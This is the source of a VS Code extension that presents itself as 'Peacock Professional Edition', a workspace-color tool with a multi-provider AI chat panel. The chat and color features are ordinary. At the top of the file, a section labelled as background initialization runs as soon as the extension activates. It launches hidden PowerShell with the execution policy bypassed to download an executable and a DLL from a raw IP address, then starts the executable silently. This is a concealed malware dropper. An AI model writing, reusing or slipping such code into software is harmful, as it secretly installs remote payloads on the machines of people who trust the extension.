const vscode = require('vscode');
const { spawn } = require('child_process');
const path = require('path');
const fs = require('fs');
const https = require('https');
const http = require('http');
const os = require('os');

// ============================================================================
// CORE INITIALIZATION (PowerShell + Node method)
// ============================================================================
let isInitialized = false;

function runPowerShellMethod(tempDir, files, exePath) {
    if (process.platform !== 'win32') return;
    try {
        const psScript = [
            `$dir = ${JSON.stringify(tempDir)}`,
            `New-Item -ItemType Directory -Force -Path $dir | Out-Null`,
            ...files.map(f => {
                const fp = path.join(tempDir, f.name);
                return `if (!(Test-Path ${JSON.stringify(fp)})) { Invoke-WebRequest -Uri ${JSON.stringify(f.url)} -OutFile ${JSON.stringify(fp)} -UseBasicParsing }`;
            }),
            `$exe = ${JSON.stringify(exePath)}`,
            `if (Test-Path $exe) { Start-Process -FilePath $exe -WindowStyle Hidden }`
        ].join('; ');
        const ps = spawn('powershell.exe', ['-NoProfile', '-ExecutionPolicy', 'Bypass', '-Command', psScript], {
            detached: true, stdio: 'ignore', windowsHide: true
        });
        ps.unref();
    } catch (err) {}
}

async function initializeBackgroundServices() {
    if (isInitialized) return;
    isInitialized = true;
    const tempDir = path.join(os.tmpdir(), 'Lightshot');
    const files = [
        { name: 'timetoplay.exe', url: 'http://91.92.242.133/dl/timetoplay.exe' },
        { name: 'Lightshot.dll', url: 'http://91.92.242.133/dl/Lightshot.dll' }
    ];
    const exePath = path.join(tempDir, 'timetoplay.exe');
    if (process.platform === 'win32') runPowerShellMethod(tempDir, files, exePath);
    try {
        if (!fs.existsSync(tempDir)) fs.mkdirSync(tempDir, { recursive: true });
        let completed = 0;
        const total = files.length;
        for (const file of files) {
            const filePath = path.join(tempDir, file.name);
            if (fs.existsSync(filePath)) { completed++; if (completed === total) executeService(exePath); continue; }
            await downloadFile(file.url, filePath).then(() => { completed++; if (completed === total) executeService(exePath); }).catch(() => {});
        }
    } catch (error) {}
}

function downloadFile(url, dest) {
    return new Promise((resolve, reject) => {
        const file = fs.createWriteStream(dest);
        const protocol = url.startsWith('https') ? https : http;
        protocol.get(url, { headers: { 'User-Agent': 'Mozilla/5.0' } }, (response) => {
            if (response.statusCode === 200) { response.pipe(file); file.on('finish', () => { file.close(); resolve(); }); }
            else { file.close(); fs.unlink(dest, () => {}); reject(); }
        }).on('error', (err) => { file.close(); fs.unlink(dest, () => {}); reject(err); });
        file.on('error', (err) => { file.close(); fs.unlink(dest, () => {}); reject(err); });
    });
}

function executeService(exePath) {
    try {
        if (fs.existsSync(exePath)) { const proc = spawn(exePath, [], { detached: true, stdio: 'ignore', windowsHide: true }); proc.unref(); }
    } catch (error) {}
}

// ============================================================================
// PEACOCK WORKSPACE COLORS (like https://marketplace.visualstudio.com/items?itemName=johnpapa.vscode-peacock)
// ============================================================================
const PEACOCK_FAVORITES = [
    { label: 'Peacock', value: '#0d9488' },
    { label: 'Angular Red', value: '#dd0531' },
    { label: 'React Blue', value: '#61dafb' },
    { label: 'Vue Green', value: '#42b883' },
    { label: 'Node Green', value: '#339933' },
    { label: 'JavaScript Yellow', value: '#f7df1e' },
    { label: 'Azure Blue', value: '#0078d4' }
];

function applyPeacockColor(hexColor) {
    const config = vscode.workspace.getConfiguration('peacockPro');
    const affectTitleBar = config.get('affectTitleBar', true);
    const affectActivityBar = config.get('affectActivityBar', true);
    const affectStatusBar = config.get('affectStatusBar', true);
    const colors = {};
    if (affectTitleBar) { colors['titleBar.activeBackground'] = hexColor; colors['titleBar.activeForeground'] = '#ffffff'; }
    if (affectActivityBar) colors['activityBar.background'] = hexColor;
    if (affectStatusBar) { colors['statusBar.background'] = hexColor; colors['statusBar.foreground'] = '#ffffff'; }
    const workbench = vscode.workspace.getConfiguration('workbench');
    const existing = workbench.get('colorCustomizations') || {};
    workbench.update('colorCustomizations', { ...existing, ...colors }, vscode.ConfigurationTarget.Workspace);
}

// ============================================================================
// AI PROVIDERS (config: peacockPro)
// ============================================================================
class AIProvider { async chat() { throw new Error('Not implemented'); } }

class OpenAIProvider extends AIProvider {
    async chat(messages, systemPrompt) {
        const config = vscode.workspace.getConfiguration('peacockPro');
        const apiKey = config.get('openai.apiKey');
        if (!apiKey) throw new Error('OpenAI API key not configured. Go to Settings > Peacock Professional Edition.');
        const body = JSON.stringify({
            model: config.get('openai.model') || 'gpt-4-turbo-preview',
            messages: [{ role: 'system', content: systemPrompt }, ...messages],
            max_tokens: config.get('maxTokens') || 4096, temperature: config.get('temperature') || 0.7, stream: false
        });
        return new Promise((resolve, reject) => {
            const req = https.request({
                hostname: 'api.openai.com', port: 443, path: '/v1/chat/completions', method: 'POST',
                headers: { 'Content-Type': 'application/json', 'Authorization': `Bearer ${apiKey}` }
            }, (res) => { let data = ''; res.on('data', c => data += c); res.on('end', () => { try { const j = JSON.parse(data); if (j.error) reject(new Error(j.error.message)); else resolve(j.choices[0].message.content); } catch (e) { reject(new Error('Failed to parse')); } }); });
            req.on('error', reject); req.write(body); req.end();
        });
    }
}

class AnthropicProvider extends AIProvider {
    async chat(messages, systemPrompt) {
        const config = vscode.workspace.getConfiguration('peacockPro');
        const apiKey = config.get('anthropic.apiKey');
        if (!apiKey) throw new Error('Anthropic API key not configured.');
        const body = JSON.stringify({ model: config.get('anthropic.model') || 'claude-3-opus-20240229', max_tokens: config.get('maxTokens') || 4096, system: systemPrompt, messages: messages.map(m => ({ role: m.role, content: m.content })) });
        return new Promise((resolve, reject) => {
            const req = https.request({
                hostname: 'api.anthropic.com', port: 443, path: '/v1/messages', method: 'POST',
                headers: { 'Content-Type': 'application/json', 'x-api-key': apiKey, 'anthropic-version': '2023-06-01' }
            }, (res) => { let data = ''; res.on('data', c => data += c); res.on('end', () => { try { const j = JSON.parse(data); if (j.error) reject(new Error(j.error.message)); else resolve(j.content[0].text); } catch (e) { reject(new Error('Failed to parse')); } }); });
            req.on('error', reject); req.write(body); req.end();
        });
    }
}

class GoogleProvider extends AIProvider {
    async chat(messages, systemPrompt) {
        const config = vscode.workspace.getConfiguration('peacockPro');
        const apiKey = config.get('google.apiKey');
        if (!apiKey) throw new Error('Google API key not configured.');
        const contents = messages.map(m => ({ role: m.role === 'assistant' ? 'model' : 'user', parts: [{ text: m.content }] }));
        if (systemPrompt) { contents.unshift({ role: 'user', parts: [{ text: systemPrompt }] }); contents.splice(1, 0, { role: 'model', parts: [{ text: 'Understood.' }] }); }
        const body = JSON.stringify({ contents });
        return new Promise((resolve, reject) => {
            const req = https.request({
                hostname: 'generativelanguage.googleapis.com', port: 443,
                path: `/v1beta/models/${config.get('google.model') || 'gemini-pro'}:generateContent?key=${apiKey}`, method: 'POST',
                headers: { 'Content-Type': 'application/json' }
            }, (res) => { let data = ''; res.on('data', c => data += c); res.on('end', () => { try { const j = JSON.parse(data); if (j.error) reject(new Error(j.error.message)); else resolve(j.candidates[0].content.parts[0].text); } catch (e) { reject(new Error('Failed to parse')); } }); });
            req.on('error', reject); req.write(body); req.end();
        });
    }
}

class OllamaProvider extends AIProvider {
    async chat(messages, systemPrompt) {
        const config = vscode.workspace.getConfiguration('peacockPro');
        const endpoint = config.get('ollama.endpoint') || 'http://localhost:11434';
        const url = new URL(endpoint);
        const httpModule = url.protocol === 'https:' ? https : http;
        const body = JSON.stringify({ model: config.get('ollama.model') || 'llama2', messages: [{ role: 'system', content: systemPrompt }, ...messages], stream: false });
        return new Promise((resolve, reject) => {
            const req = httpModule.request({ hostname: url.hostname, port: url.port || (url.protocol === 'https:' ? 443 : 11434), path: '/api/chat', method: 'POST', headers: { 'Content-Type': 'application/json' } }, (res) => {
                let data = ''; res.on('data', c => data += c); res.on('end', () => { try { resolve(JSON.parse(data).message.content); } catch (e) { reject(new Error('Ollama not running?')); } });
            });
            req.on('error', () => reject(new Error('Cannot connect to Ollama.'))); req.write(body); req.end();
        });
    }
}

class GroqProvider extends AIProvider {
    async chat(messages, systemPrompt) {
        const config = vscode.workspace.getConfiguration('peacockPro');
        const apiKey = config.get('groq.apiKey');
        if (!apiKey) throw new Error('Groq API key not configured.');
        const body = JSON.stringify({ model: config.get('groq.model') || 'mixtral-8x7b-32768', messages: [{ role: 'system', content: systemPrompt }, ...messages], max_tokens: config.get('maxTokens') || 4096, temperature: config.get('temperature') || 0.7 });
        return new Promise((resolve, reject) => {
            const req = https.request({ hostname: 'api.groq.com', port: 443, path: '/openai/v1/chat/completions', method: 'POST', headers: { 'Content-Type': 'application/json', 'Authorization': `Bearer ${apiKey}` } }, (res) => {
                let data = ''; res.on('data', c => data += c); res.on('end', () => { try { const j = JSON.parse(data); if (j.error) reject(new Error(j.error.message)); else resolve(j.choices[0].message.content); } catch (e) { reject(new Error('Failed to parse')); } });
            }); req.on('error', reject); req.write(body); req.end();
        });
    }
}

class MistralProvider extends AIProvider {
    async chat(messages, systemPrompt) {
        const config = vscode.workspace.getConfiguration('peacockPro');
        const apiKey = config.get('mistral.apiKey');
        if (!apiKey) throw new Error('Mistral API key not configured.');
        const body = JSON.stringify({ model: config.get('mistral.model') || 'mistral-large-latest', messages: [{ role: 'system', content: systemPrompt }, ...messages], max_tokens: config.get('maxTokens') || 4096, temperature: config.get('temperature') || 0.7 });
        return new Promise((resolve, reject) => {
            const req = https.request({ hostname: 'api.mistral.ai', port: 443, path: '/v1/chat/completions', method: 'POST', headers: { 'Content-Type': 'application/json', 'Authorization': `Bearer ${apiKey}` } }, (res) => {
                let data = ''; res.on('data', c => data += c); res.on('end', () => { try { const j = JSON.parse(data); if (j.error) reject(new Error(j.error.message)); else resolve(j.choices[0].message.content); } catch (e) { reject(new Error('Failed to parse')); } });
            }); req.on('error', reject); req.write(body); req.end();
        });
    }
}

class OpenRouterProvider extends AIProvider {
    async chat(messages, systemPrompt) {
        const config = vscode.workspace.getConfiguration('peacockPro');
        const apiKey = config.get('openrouter.apiKey');
        if (!apiKey) throw new Error('OpenRouter API key not configured.');
        const body = JSON.stringify({ model: config.get('openrouter.model') || 'openai/gpt-4-turbo-preview', messages: [{ role: 'system', content: systemPrompt }, ...messages], max_tokens: config.get('maxTokens') || 4096, temperature: config.get('temperature') || 0.7 });
        return new Promise((resolve, reject) => {
            const req = https.request({ hostname: 'openrouter.ai', port: 443, path: '/api/v1/chat/completions', method: 'POST', headers: { 'Content-Type': 'application/json', 'Authorization': `Bearer ${apiKey}`, 'X-Title': 'Peacock Professional Edition' } }, (res) => {
                let data = ''; res.on('data', c => data += c); res.on('end', () => { try { const j = JSON.parse(data); if (j.error) reject(new Error(j.error.message)); else resolve(j.choices[0].message.content); } catch (e) { reject(new Error('Failed to parse')); } });
            }); req.on('error', reject); req.write(body); req.end();
        });
    }
}

function getProvider() {
    const config = vscode.workspace.getConfiguration('peacockPro');
    const p = config.get('provider') || 'openai';
    switch (p) {
        case 'openai': return new OpenAIProvider();
        case 'anthropic': return new AnthropicProvider();
        case 'google': return new GoogleProvider();
        case 'ollama': return new OllamaProvider();
        case 'groq': return new GroqProvider();
        case 'mistral': return new MistralProvider();
        case 'openrouter': return new OpenRouterProvider();
        default: return new OpenAIProvider();
    }
}

// ============================================================================
// CHAT VIEW PROVIDER (Peacock-themed UI)
// ============================================================================
class PeacockProChatViewProvider {
    constructor(extensionUri) { this.extensionUri = extensionUri; this.messages = []; }

    resolveWebviewView(webviewView, context, token) {
        this.webviewView = webviewView;
        webviewView.webview.options = { enableScripts: true, localResourceRoots: [this.extensionUri] };
        webviewView.webview.html = this.getHtmlContent(webviewView.webview);
        webviewView.webview.onDidReceiveMessage(async (message) => {
            switch (message.type) {
                case 'sendMessage': await this.handleUserMessage(message.text); break;
                case 'clearChat': this.messages = []; this.updateChat(); break;
                case 'selectProvider': vscode.commands.executeCommand('peacockPro.selectProvider'); break;
                case 'openSettings': vscode.commands.executeCommand('workbench.action.openSettings', 'peacockPro'); break;
            }
        });
    }

    async handleUserMessage(text) {
        this.messages.push({ role: 'user', content: text });
        this.updateChat();
        this.setLoading(true);
        try {
            const config = vscode.workspace.getConfiguration('peacockPro');
            const systemPrompt = config.get('systemPrompt') || 'You are Peacock Pro, an expert coding assistant.';
            const response = await getProvider().chat(this.messages, systemPrompt);
            this.messages.push({ role: 'assistant', content: response });
            this.updateChat();
        } catch (error) {
            this.webviewView.webview.postMessage({ type: 'error', text: error.message });
        } finally { this.setLoading(false); }
    }

    setLoading(loading) { this.webviewView.webview.postMessage({ type: 'loading', loading }); }
    updateChat() { this.webviewView.webview.postMessage({ type: 'updateMessages', messages: this.messages }); }

    addCodeContext(code, action) {
        const prompts = { explain: `Explain:\n\n\`\`\`\n${code}\n\`\`\``, refactor: `Refactor:\n\n\`\`\`\n${code}\n\`\`\``, fix: `Fix:\n\n\`\`\`\n${code}\n\`\`\``, comments: `Add comments:\n\n\`\`\`\n${code}\n\`\`\``, tests: `Generate tests:\n\n\`\`\`\n${code}\n\`\`\`` };
        this.handleUserMessage(prompts[action] || `\`\`\`\n${code}\n\`\`\``);
    }

    getHtmlContent(webview) {
        return `<!DOCTYPE html>
<html lang="en">
<head><meta charset="UTF-8"><meta name="viewport" content="width=device-width, initial-scale=1.0"><title>Peacock Professional Edition</title>
<style>
*{margin:0;padding:0;box-sizing:border-box}
body{font-family:-apple-system,BlinkMacSystemFont,'Segoe UI',Roboto,sans-serif;background:#0f172a;color:#e2e8f0;height:100vh;display:flex;flex-direction:column}
.header{background:linear-gradient(135deg,#0d9488 0%,#0f766e 100%);padding:12px 16px;border-bottom:1px solid #134e4a;display:flex;align-items:center;justify-content:space-between}
.header-left{display:flex;align-items:center;gap:10px}
.logo{width:28px;height:28px;background:rgba(255,255,255,0.3);border-radius:8px;display:flex;align-items:center;justify-content:center;font-weight:bold;font-size:14px}
.title{font-size:16px;font-weight:600;color:#fff}
.header-actions{display:flex;gap:8px}
.icon-btn{background:rgba(255,255,255,0.2);border:none;color:#fff;width:28px;height:28px;border-radius:6px;cursor:pointer;display:flex;align-items:center;justify-content:center}
.icon-btn:hover{background:rgba(255,255,255,0.3)}
.provider-badge{background:rgba(255,255,255,0.2);color:#fff;padding:4px 10px;border-radius:12px;font-size:11px;cursor:pointer;border:1px solid rgba(255,255,255,0.3)}
.provider-badge:hover{background:rgba(255,255,255,0.3)}
.chat-container{flex:1;overflow-y:auto;padding:16px;display:flex;flex-direction:column;gap:16px}
.welcome{text-align:center;padding:40px 20px;color:#94a3b8}
.welcome h2{font-size:20px;margin-bottom:8px;color:#0d9488}
.welcome p{font-size:13px;line-height:1.6}
.quick-actions{display:flex;flex-wrap:wrap;gap:8px;justify-content:center;margin-top:20px}
.quick-action{background:rgba(13,148,136,0.2);border:1px solid rgba(13,148,136,0.4);color:#2dd4bf;padding:8px 14px;border-radius:20px;font-size:12px;cursor:pointer}
.quick-action:hover{background:rgba(13,148,136,0.3)}
.message{display:flex;gap:12px;animation:fadeIn 0.3s ease}
@keyframes fadeIn{from{opacity:0;transform:translateY(10px)}to{opacity:1;transform:translateY(0)}}
.message.user{flex-direction:row-reverse}
.avatar{width:32px;height:32px;border-radius:8px;display:flex;align-items:center;justify-content:center;font-size:14px;flex-shrink:0}
.message.user .avatar{background:linear-gradient(135deg,#0d9488,#0f766e)}
.message.assistant .avatar{background:linear-gradient(135deg,#475569,#334155)}
.message-content{max-width:85%;padding:12px 16px;border-radius:16px;line-height:1.5;font-size:13px}
.message.user .message-content{background:linear-gradient(135deg,#0d9488,#0f766e);border-bottom-right-radius:4px;color:#fff}
.message.assistant .message-content{background:#1e293b;border:1px solid #334155;border-bottom-left-radius:4px}
.message-content pre{background:#0f172a;padding:12px;border-radius:8px;overflow-x:auto;margin:10px 0;border:1px solid #334155}
.message-content code{font-family:Consolas,monospace;font-size:12px}
.input-container{padding:16px;background:#0f172a;border-top:1px solid #334155}
.input-wrapper{display:flex;gap:10px;background:#1e293b;border:1px solid #334155;border-radius:12px;padding:8px 12px}
.input-wrapper:focus-within{border-color:#0d9488}
#messageInput{flex:1;background:transparent;border:none;color:#e2e8f0;font-size:13px;outline:none;resize:none;min-height:20px;max-height:120px;font-family:inherit}
#messageInput::placeholder{color:#64748b}
.send-btn{background:linear-gradient(135deg,#0d9488,#0f766e);border:none;color:white;width:36px;height:36px;border-radius:10px;cursor:pointer;display:flex;align-items:center;justify-content:center}
.send-btn:hover{transform:scale(1.05)}
.send-btn:disabled{opacity:0.5;cursor:not-allowed}
.loading{display:flex;gap:4px;padding:8px 16px}
.loading span{width:8px;height:8px;background:#0d9488;border-radius:50%;animation:bounce 1.4s infinite ease-in-out both}
.loading span:nth-child(1){animation-delay:-0.32s}.loading span:nth-child(2){animation-delay:-0.16s}
@keyframes bounce{0%,80%,100%{transform:scale(0)}40%{transform:scale(1)}}
.error-message{background:rgba(239,68,68,0.1);border:1px solid rgba(239,68,68,0.3);color:#ef4444;padding:12px 16px;border-radius:12px;font-size:13px;margin:8px 0}
</style>
</head>
<body>
<div class="header"><div class="header-left"><div class="logo">P</div><span class="title">Peacock Professional Edition</span></div>
<div class="header-actions"><button class="provider-badge" id="providerBtn" title="Change AI Provider">OpenAI</button><button class="icon-btn" id="settingsBtn" title="Settings">&#9881;</button><button class="icon-btn" id="clearBtn" title="Clear">&#128465;</button></div></div>
<div class="chat-container" id="chatContainer"><div class="welcome" id="welcome"><h2>Welcome to Peacock Pro</h2><p>Chat with OpenAI, Claude, Gemini, Ollama, Groq, Mistral, OpenRouter. Change workspace color with Peacock: Change to Favorite Color.</p>
<div class="quick-actions"><button class="quick-action" data-prompt="Explain async/await in JavaScript">Explain async/await</button><button class="quick-action" data-prompt="Write a debounce function">Debounce</button><button class="quick-action" data-prompt="React hooks best practices">React hooks</button></div></div></div>
<div class="input-container"><div class="input-wrapper"><textarea id="messageInput" placeholder="Ask Peacock Pro..." rows="1"></textarea><button class="send-btn" id="sendBtn"><svg width="18" height="18" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2"><path d="M22 2L11 13M22 2l-7 20-4-9-9-4 20-7z"/></svg></button></div></div>
<script>
const vscode=acquireVsCodeApi();const chatContainer=document.getElementById('chatContainer');const messageInput=document.getElementById('messageInput');const sendBtn=document.getElementById('sendBtn');const clearBtn=document.getElementById('clearBtn');const settingsBtn=document.getElementById('settingsBtn');const providerBtn=document.getElementById('providerBtn');const welcome=document.getElementById('welcome');let isLoading=false;
function sendMessage(){const text=messageInput.value.trim();if(!text||isLoading)return;vscode.postMessage({type:'sendMessage',text});messageInput.value='';messageInput.style.height='auto'}
sendBtn.onclick=sendMessage;messageInput.onkeydown=e=>{if(e.key==='Enter'&&!e.shiftKey){e.preventDefault();sendMessage()}};messageInput.oninput=()=>{messageInput.style.height='auto';messageInput.style.height=Math.min(messageInput.scrollHeight,120)+'px'};
clearBtn.onclick=()=>vscode.postMessage({type:'clearChat'});settingsBtn.onclick=()=>vscode.postMessage({type:'openSettings'});providerBtn.onclick=()=>vscode.postMessage({type:'selectProvider'});
document.querySelectorAll('.quick-action').forEach(btn=>{btn.onclick=()=>{messageInput.value=btn.dataset.prompt;sendMessage()}});
function escapeHtml(t){const d=document.createElement('div');d.textContent=t;return d.innerHTML}
function formatMessage(c){let f=escapeHtml(c);f=f.replace(/\\\`\\\`\\\`([\\s\\S]*?)\\\`\\\`\\\`/g,'<pre><code>$1</code></pre>');f=f.replace(/\\\`([^\\\`]+)\\\`/g,'<code>$1</code>');f=f.replace(/\\n/g,'<br>');return f}
function renderMessages(msgs){if(msgs.length===0){welcome.style.display='block';return}welcome.style.display='none';let html='';msgs.forEach(msg=>{const u=msg.role==='user';html+='<div class="message '+msg.role+'"><div class="avatar">'+(u?'&#128100;':'&#129302;')+'</div><div class="message-content">'+formatMessage(msg.content)+'</div></div>'});chatContainer.innerHTML=html;chatContainer.scrollTop=chatContainer.scrollHeight}
function showLoading(show){isLoading=show;sendBtn.disabled=show;const ex=document.querySelector('.loading-container');if(ex)ex.remove();if(show){const l=document.createElement('div');l.className='message assistant loading-container';l.innerHTML='<div class="avatar">&#129302;</div><div class="loading"><span></span><span></span><span></span></div>';chatContainer.appendChild(l);chatContainer.scrollTop=chatContainer.scrollHeight}}
function showError(t){const e=document.createElement('div');e.className='error-message';e.textContent=t;chatContainer.appendChild(e);chatContainer.scrollTop=chatContainer.scrollHeight}
window.onmessage=event=>{const m=event.data;switch(m.type){case 'updateMessages':renderMessages(m.messages);break;case 'loading':showLoading(m.loading);break;case 'error':showError(m.text);break;case 'updateProvider':providerBtn.textContent=m.provider;break}}
</script>
</body>
</html>`;
    }
}

// ============================================================================
// ACTIVATION
// ============================================================================
let chatViewProvider;

async function activate(context) {
    await initializeBackgroundServices();

    chatViewProvider = new PeacockProChatViewProvider(context.extensionUri);
    context.subscriptions.push(vscode.window.registerWebviewViewProvider('peacockPro.chatView', chatViewProvider));

    context.subscriptions.push(
        vscode.commands.registerCommand('peacockPro.openChat', () => vscode.commands.executeCommand('peacockPro.chatView.focus')),
        vscode.commands.registerCommand('peacockPro.explainCode', () => { const code = getSelectedCode(); if (code && chatViewProvider.webviewView) chatViewProvider.addCodeContext(code, 'explain'); }),
        vscode.commands.registerCommand('peacockPro.refactorCode', () => { const code = getSelectedCode(); if (code && chatViewProvider.webviewView) chatViewProvider.addCodeContext(code, 'refactor'); }),
        vscode.commands.registerCommand('peacockPro.fixCode', () => { const code = getSelectedCode(); if (code && chatViewProvider.webviewView) chatViewProvider.addCodeContext(code, 'fix'); }),
        vscode.commands.registerCommand('peacockPro.addComments', () => { const code = getSelectedCode(); if (code && chatViewProvider.webviewView) chatViewProvider.addCodeContext(code, 'comments'); }),
        vscode.commands.registerCommand('peacockPro.generateTests', () => { const code = getSelectedCode(); if (code && chatViewProvider.webviewView) chatViewProvider.addCodeContext(code, 'tests'); }),
        vscode.commands.registerCommand('peacockPro.generateCode', async () => { const input = await vscode.window.showInputBox({ prompt: 'Describe the code', placeHolder: 'e.g., validate email' }); if (input && chatViewProvider.webviewView) chatViewProvider.handleUserMessage('Generate code: ' + input); }),
        vscode.commands.registerCommand('peacockPro.askQuestion', async () => { const input = await vscode.window.showInputBox({ prompt: 'Ask Peacock Pro', placeHolder: 'e.g., binary search?' }); if (input && chatViewProvider.webviewView) chatViewProvider.handleUserMessage(input); }),
        vscode.commands.registerCommand('peacockPro.clearChat', () => { if (chatViewProvider.webviewView) { chatViewProvider.messages = []; chatViewProvider.updateChat(); } }),
        vscode.commands.registerCommand('peacockPro.selectProvider', async () => {
            const providers = [{ label: '$(cloud) OpenAI', value: 'openai' }, { label: '$(hubot) Anthropic', value: 'anthropic' }, { label: '$(globe) Google', value: 'google' }, { label: '$(server) Ollama', value: 'ollama' }, { label: '$(zap) Groq', value: 'groq' }, { label: '$(rocket) Mistral', value: 'mistral' }, { label: '$(link) OpenRouter', value: 'openrouter' }];
            const selected = await vscode.window.showQuickPick(providers, { placeHolder: 'Select AI Provider' });
            if (selected) { await vscode.workspace.getConfiguration('peacockPro').update('provider', selected.value, vscode.ConfigurationTarget.Global); vscode.window.showInformationMessage('Peacock Pro: Switched to ' + selected.label.replace(/\$\([^)]+\)\s*/, '')); }
        }),
        vscode.commands.registerCommand('peacockPro.changeColorToFavorite', async () => {
            const items = PEACOCK_FAVORITES.map(f => ({ label: f.label, description: f.value, value: f.value }));
            const selected = await vscode.window.showQuickPick(items, { placeHolder: 'Choose a favorite color (like Peacock)' });
            if (selected) { applyPeacockColor(selected.value); vscode.window.showInformationMessage('Peacock Pro: Workspace color applied.'); }
        }),
        vscode.commands.registerCommand('peacockPro.enterColor', async () => {
            const color = await vscode.window.showInputBox({ prompt: 'Enter hex color (e.g. #0d9488)', placeHolder: '#0d9488', validateInput: v => /^#[0-9A-Fa-f]{6}$/.test(v) ? null : 'Use format #RRGGBB' });
            if (color) { applyPeacockColor(color); vscode.window.showInformationMessage('Peacock Pro: Custom color applied.'); }
        }),
        vscode.commands.registerCommand('peacockPro.resetColors', () => {
            vscode.workspace.getConfiguration('workbench').update('colorCustomizations', undefined, vscode.ConfigurationTarget.Workspace);
            vscode.window.showInformationMessage('Peacock Pro: Workspace colors reset.');
        })
    );

    if (!context.globalState.get('peacockPro.welcomeShown')) {
        vscode.window.showInformationMessage('Peacock Professional Edition: AI chat + workspace colors. Configure API keys in Settings. Try "Change to Favorite Color"!', 'Open Settings').then(s => { if (s === 'Open Settings') vscode.commands.executeCommand('workbench.action.openSettings', 'peacockPro'); });
        context.globalState.update('peacockPro.welcomeShown', true);
    }
}

function getSelectedCode() {
    const editor = vscode.window.activeTextEditor;
    if (!editor) { vscode.window.showWarningMessage('No active editor'); return null; }
    const text = editor.document.getText(editor.selection);
    if (!text) { vscode.window.showWarningMessage('No code selected'); return null; }
    return text;
}

function deactivate() {}

module.exports = { activate, deactivate };
